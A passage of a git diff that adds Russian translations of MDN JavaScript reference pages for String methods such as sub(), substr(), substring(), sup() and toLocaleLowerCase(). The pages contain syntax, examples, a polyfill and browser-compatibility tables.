+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.blink()")}}</li>
+ <li>{{jsxref("String.prototype.bold()")}}</li>
+ <li>{{jsxref("String.prototype.italics()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/sub/index.html b/files/ru/web/javascript/reference/global_objects/string/sub/index.html
new file mode 100644
index 0000000000..69b0c4483c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/sub/index.html
@@ -0,0 +1,109 @@
+---
+title: String.prototype.sub()
+slug: Web/JavaScript/Reference/Global_Objects/String/sub
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+  - Методы оборачивания в HTML
+translation_of: Web/JavaScript/Reference/Global_Objects/String/sub
+---
+<div>{{JSRef("Global_Objects", "String")}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>sub()</code></strong> создаёт HTML-элемент {{HTMLElement("sub")}}, заставляющий строку отображаться подстрочным текстом (нижним индексом).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.sub()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>sub()</code> заключает строку в тег <code>&lt;sub&gt;</code>: <code>"&lt;sub&gt;str&lt;/sub&gt;"</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_sub_and_sup_methods_to_format_a_string" name="Example:_Using_sub_and_sup_methods_to_format_a_string">Пример: использование методов <code>sub()</code> и <code>sup()</code></h3>
+<p>В следующем примере для форматирования строки используются методы <code>sub()</code> и {{jsxref("String.prototype.sup()", "sup()")}}:</p>
+<pre class="brush: js">var superText = 'надстрочный';
+var subText = 'подстрочный';
+
+document.write('Вот так выглядит ' + superText.sup() + ' текст.');
+document.write('Вот так выглядит ' + subText.sub() + ' текст.');
+</pre>
+<p>Этот пример генерирует такой же вывод, как и следующий HTML:</p>
+<pre class="brush: html">Вот так выглядит &lt;sup&gt;надстрочный&lt;/sup&gt; текст.
+Вот так выглядит &lt;sub&gt;подстрочный&lt;/sub&gt; текст.
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.sub', 'String.prototype.sub')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.<br>
+    Определена в (нормативном) Приложении B по Дополнительным возможностям ECMAScript для веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.sup()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/substr/index.html b/files/ru/web/javascript/reference/global_objects/string/substr/index.html
new file mode 100644
index 0000000000..cfc0191ea7
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/substr/index.html
@@ -0,0 +1,116 @@
+---
+title: String.prototype.substr()
+slug: Web/JavaScript/Reference/Global_Objects/String/substr
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/substr
+---
+<div>
+<div>{{JSRef}}</div>
+
+<div></div>
+
+<div class="warning">Внимание: так как <code>String.prototype.substr(…)</code> не полностью упразднена (а лишь "удалена из стандартов по вебу"), она считается <strong>унаследованной функцией</strong>, использование которой лучше избегать там, где это возможно. Она не является частью ядра языка JavaScript и может быть удалена в будущем. Если есть возможность, используйте метод <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/String/substring">substring()</a></code>.</div>
+
+<p>Метод <strong><code>substr()</code></strong> возвращает указанное количество символов из строки, начиная с указанной позиции.</p>
+{{EmbedInteractiveExample("pages/js/string-substr.html")}}
+
+
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.substr(<var>start</var>[, <var>length</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>Позиция, с которой начинать извлекать символы. Если передано отрицательное число, она трактуется как <code>strLength - start</code>, где <code>strLength</code> равна длине строки (например, если параметр <code>start</code> равен -3, то он трактуется как <code>strLength - 3</code>.)</dd>
+ <dt><code>length</code></dt>
+ <dd>Необязательный параметр. Количество извлекаемых символов.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новая строка, содержащая часть исходной, обрезанной по переданным параметрам.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Параметр <code>start</code> является индексом символа. Индекс первого символа равен 0, а последнего символа — на один меньше длины строки. Метод <code>substr()</code> начинает извлекать символы начиная с позиции <code>start</code> и собирая <code>length</code> символов (если он не достигнет раньше конца строки, в этом случае будет возвращено меньшее количество символов).</p>
+
+<p>Если параметр <code>start</code> является положительным и он больше, либо равен длине строки, метод <code>substr()</code> вернёт пустую строку.</p>
+
+<p>Если параметр <code>start</code> является отрицательным, метод <code>substr()</code> использует его как индекс символа, начиная с конца строки. Если параметр <code>start</code> отрицателен и по модулю больше длины строки, метод <code>substr()</code> будет использовать 0 в качестве начального индекса. Обратите внимание: описанная обработка отрицательных значений аргумента <code>start</code> не поддерживается JScript от Microsoft.</p>
+
+<p>Если параметр <code>length</code> равен нулю или отрицателен, метод <code>substr()</code> вернёт пустую строку. Если параметр <code>length</code> опущен, метод <code>substr()</code> извлечёт все символы до конца строки.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_substr" name="Example:_Using_substr">Использование метода <code>substr()</code></h3>
+
+<pre class="brush: js">var str = 'абвгдеёжзи';
+
+console.log('(1, 2): '   + str.substr(1, 2));   // '(1, 2): бв'
+console.log('(-3, 2): '  + str.substr(-3, 2));  // '(-3, 2): жз'
+console.log('(-3): '     + str.substr(-3));     // '(-3): жзи'
+console.log('(1): '      + str.substr(1));      // '(1): бвгдеёжзи'
+console.log('(-20, 2): ' + str.substr(-20, 2)); // '(-20, 2): аб'
+console.log('(20, 2): '  + str.substr(20, 2));  // '(20, 2): '
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>JScript от Microsoft не поддерживает отрицательные значения для начального индекса. Если вы хотите использовать эту возможность, вы можете использовать следующий код совместимости для обхода этой ошибки:</p>
+
+<pre class="brush: js">// only run when the substr() function is broken
+if ('ab'.substr(-1) != 'b') {
+  /**
+   *  Get the substring of a string
+   *  @param  {integer}  start   where to start the substring
+   *  @param  {integer}  length  how many characters to return
+   *  @return {string}
+   */
+  String.prototype.substr = function(substr) {
+    return function(start, length) {
+      // call the original method
+      return substr.call(this,
+      	// did we get a negative start, calculate how much it is from the beginning of the string
+        // adjust the start parameter for negative value
+        start &lt; 0 ? this.length + start : start,
+        length)
+    }
+  }(String.prototype.substr);
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.substr', 'String.prototype.substr')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.substr")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+ <li>{{jsxref("String.prototype.substring()")}}</li>
+</ul>
+</div>
diff --git a/files/ru/web/javascript/reference/global_objects/string/substring/index.html b/files/ru/web/javascript/reference/global_objects/string/substring/index.html
new file mode 100644
index 0000000000..9efb4f84a8
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/substring/index.html
@@ -0,0 +1,194 @@
+---
+title: String.prototype.substring()
+slug: Web/JavaScript/Reference/Global_Objects/String/substring
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/substring
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>substring()</code></strong> возвращает подстроку строки между двумя индексами, или от одного индекса и до конца строки.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.substring(<var>indexA</var>[, <var>indexB</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>indexA</code></dt>
+ <dd>Целое число от <code>0</code> до длины строки, определяющее смещение в строке первого символа, который будет включён в результирующую подстроку.</dd>
+ <dt><code>indexB</code></dt>
+ <dd>Необязательный параметр. Целое число от <code>0</code> до длины строки, определяющее смещение в строке первого символа, который <strong>не будет</strong> включён в результирующую подстроку.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>substring()</code> извлекает символы, начиная с индекса <code>indexA</code> до, но не включая, индекс <code>indexB</code>. В частности:</p>
+
+<ul>
+ <li>Если аргумент <code>indexA</code> равен аргументу <code>indexB</code>, метод <code>substring()</code> вернёт пустую строку.</li>
+ <li>Если аргумент <code>indexB</code> опущен, метод <code>substring()</code> извлечёт символы до конца строки.</li>
+ <li>Если любой из аргументов меньше, либо равен нулю или равен {{jsxref("Global_Objects/NaN", "NaN")}}, он будет трактоваться как равный 0.</li>
+ <li>Если любой из аргументов больше, чем <code>stringName.length</code>, он будет трактоваться как равный <code>stringName.length</code>.</li>
+</ul>
+
+<p>Если аргумент <code>indexA</code> будет больше аргумента <code>indexB</code>, то метод <code>substring()</code> сработает так, как если бы аргументы были поменяны местами; например, <code><em>str</em>.substring(1, 0) == <em>str</em>.substring(0, 1)</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_substring" name="Example:_Using_substring">Пример: использование метода <code>substring()</code></h3>
+
+<p>В следующем примере метод <code>substring()</code> используется для отображения символов из строки <code>'Mozilla'</code>:</p>
+
+<pre class="brush: js">var anyString = 'Mozilla';
+
+// Отобразит 'Moz'
+console.log(anyString.substring(0, 3));
+console.log(anyString.substring(3, 0));
+
+// Отобразит 'lla'
+console.log(anyString.substring(4, 7));
+console.log(anyString.substring(7, 4));
+
+// Отобразит 'Mozill'
+console.log(anyString.substring(0, 6));
+
+// Отобразит 'Mozilla'
+console.log(anyString.substring(0, 7));
+console.log(anyString.substring(0, 10));
+</pre>
+
+<h3 id="Example:_Using_substring_with_length_property" name="Example:_Using_substring_with_length_property">Пример: использование метода <code>substring()</code> вместе со свойством <code>length</code></h3>
+
+<p>Следующий пример использует метод <code>substring()</code> и свойство {{jsxref("String.length", "length")}} для извлечения последних символов из строки. Этот метод может оказаться легче для запоминания, особенно если учесть, что вам не нужно знать начальный и конечный индексы, как это было в примере выше.</p>
+
+<pre class="brush: js">// Отобразит 'illa' - последние 4 символа
+var anyString = 'Mozilla';
+var anyString4 = anyString.substring(anyString.length - 4);
+console.log(anyString4);
+
+// Отобразит 'zilla' - последние 5 символов
+var anyString = 'Mozilla';
+var anyString5 = anyString.substring(anyString.length - 5);
+console.log(anyString5);
+</pre>
+
+<h3 id="Example:_Replacing_a_substring_within_a_string" name="Example:_Replacing_a_substring_within_a_string">Пример: замена подстроки в строке</h3>
+
+<p>Следующий пример демонстрирует замену подстроки в строке. Он заменит как отдельные символы, так и целые подстроки. Вызов функции в конце примера изменит строку <code>'Дивный новый мир'</code> на строку <code>'Дивный новый веб'</code>.</p>
+
+<pre class="brush: js">// Заменяет oldS на newS в строке fullS
+function replaceString(oldS, newS, fullS) {
+  for (var i = 0; i &lt; fullS.length; ++i) {
+    if (fullS.substring(i, i + oldS.length) == oldS) {
+      fullS = fullS.substring(0, i) + newS + fullS.substring(i + oldS.length, fullS.length);
+    }
+  }
+  return fullS;
+}
+
+replaceString('мир', 'веб', 'Дивный новый мир');
+</pre>
+
+<p>Обратите внимание, что функция может скатиться в беcконечный цикл, если строка <code>oldS</code> сама является подстрокой для <code>newS</code> — например, если вы попытаетесь заменить слово «мир» на слово «другоймир». Лучше использоваться следующий метод для замены строк:</p>
+
+<pre class="brush: js">function replaceString(oldS, newS, fullS) {
+  return fullS.split(oldS).join(newS);
+}
+</pre>
+
+<p>Код выше следует рассматривать всего лишь как пример работы с подстроками. Если вам нужно заменить подстроки, скорее всего вы захотите использовать метод {{jsxref("String.prototype.replace()")}}.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.15', 'String.prototype.substring')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.substring', 'String.prototype.substring')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.substr()")}}</li>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/sup/index.html b/files/ru/web/javascript/reference/global_objects/string/sup/index.html
new file mode 100644
index 0000000000..092b08a314
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/sup/index.html
@@ -0,0 +1,109 @@
+---
+title: String.prototype.sup()
+slug: Web/JavaScript/Reference/Global_Objects/String/sup
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+  - Методы оборачивания в HTML
+translation_of: Web/JavaScript/Reference/Global_Objects/String/sup
+---
+<div>{{JSRef("Global_Objects", "String")}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>sup()</code></strong> создаёт HTML-элемент {{HTMLElement("sup")}}, заставляющий строку отображаться надстрочным текстом (верхним индексом).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.sup()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>sup()</code> заключает строку в тег <code>&lt;sup&gt;</code>: <code>"&lt;sup&gt;str&lt;/sup&gt;"</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_sub_and_sup_methods_to_format_a_string" name="Example:_Using_sub_and_sup_methods_to_format_a_string">Пример: использование методов <code>sub()</code> и <code>sup()</code></h3>
+<p>В следующем примере для форматирования строки используются методы {{jsxref("String.prototype.sub()", "sub()")}} и <code>sup()</code>:</p>
+<pre class="brush: js">var superText = 'надстрочный';
+var subText = 'подстрочный';
+
+document.write('Вот так выглядит ' + superText.sup() + ' текст.');
+document.write('Вот так выглядит ' + subText.sub() + ' текст.');
+</pre>
+<p>Этот пример генерирует такой же вывод, как и следующий HTML:</p>
+<pre class="brush: html">Вот так выглядит &lt;sup&gt;надстрочный&lt;/sup&gt; текст.
+Вот так выглядит &lt;sub&gt;подстрочный&lt;/sub&gt; текст.
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.sup', 'String.prototype.sup')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.<br>
+    Определена в (нормативном) Приложении B по Дополнительным возможностям ECMAScript для веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.sub()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/tolocalelowercase/index.html b/files/ru/web/javascript/reference/global_objects/string/tolocalelowercase/index.html
new file mode 100644
index 0000000000..16950a2077
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/tolocalelowercase/index.html
@@ -0,0 +1,110 @@
+---
+title: String.prototype.toLocaleLowerCase()
+slug: Web/JavaScript/Reference/Global_Objects/String/toLocaleLowerCase
+tags:
+  - Internationalization
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toLocaleLowerCase
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>toLocaleLowerCase()</code></strong> возвращает значение строки, на которой он был вызван, преобразованное в нижний регистр согласно правилам преобразования регистра локали.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.toLocaleLowerCase()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>toLocaleLowerCase()</code> возвращает значение строки, преобразованное в нижний регистр согласно правилам преобразования регистра локали. Метод <code>toLocaleLowerCase()</code> не изменяет значение самой строки. В большинстве случаев он возвращает тот же результат, что и метод {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}, но для некоторых локалей, например, турецкой, в которой правила преобразования регистра отличаются от правил по умолчанию, принятых в Юникоде, он может вернуть другой результат.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toLocaleLowerCase" name="Example:_Using_toLocaleLowerCase">Пример: использование метода <code>toLocaleLowerCase()</code></h3>
+<pre class="brush: js">console.log('АЛФАВИТ'.toLocaleLowerCase()); // 'алфавит'
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.17', 'String.prototype.toLocaleLowerCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toUpperCase()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/tolocaleuppercase/index.html b/files/ru/web/javascript/reference/global_objects/string/tolocaleuppercase/index.html
new file mode 100644
index 0000000000..290852f30e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/tolocaleuppercase/index.html
@@ -0,0 +1,110 @@
+---
+title: String.prototype.toLocaleUpperCase()
+slug: Web/JavaScript/Reference/Global_Objects/String/toLocaleUpperCase
+tags:
+  - Internationalization
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toLocaleUpperCase
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>toLocaleUpperCase()</code></strong> возвращает значение строки, на которой он был вызван, преобразованное в верхний регистр согласно правилам преобразования регистра локали.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.toLocaleUpperCase()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>toLocaleUpperCase()</code> возвращает значение строки, преобразованное в верхний регистр согласно правилам преобразования регистра локали. Метод <code>toLocaleUpperCase()</code> не изменяет значение самой строки. В большинстве случаев он возвращает тот же результат, что и метод {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}}, но для некоторых локалей, например, турецкой, в которой правила преобразования регистра отличаются от правил по умолчанию, принятых в Юникоде, он может вернуть другой результат.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toLocaleUpperCase" name="Example:_Using_toLocaleUpperCase">Пример: использование метода <code>toLocaleUpperCase()</code></h3>
+<pre class="brush: js">console.log('алфавит'.toLocaleUpperCase()); // 'АЛФАВИТ'
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.19', 'String.prototype.toLocaleUpperCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
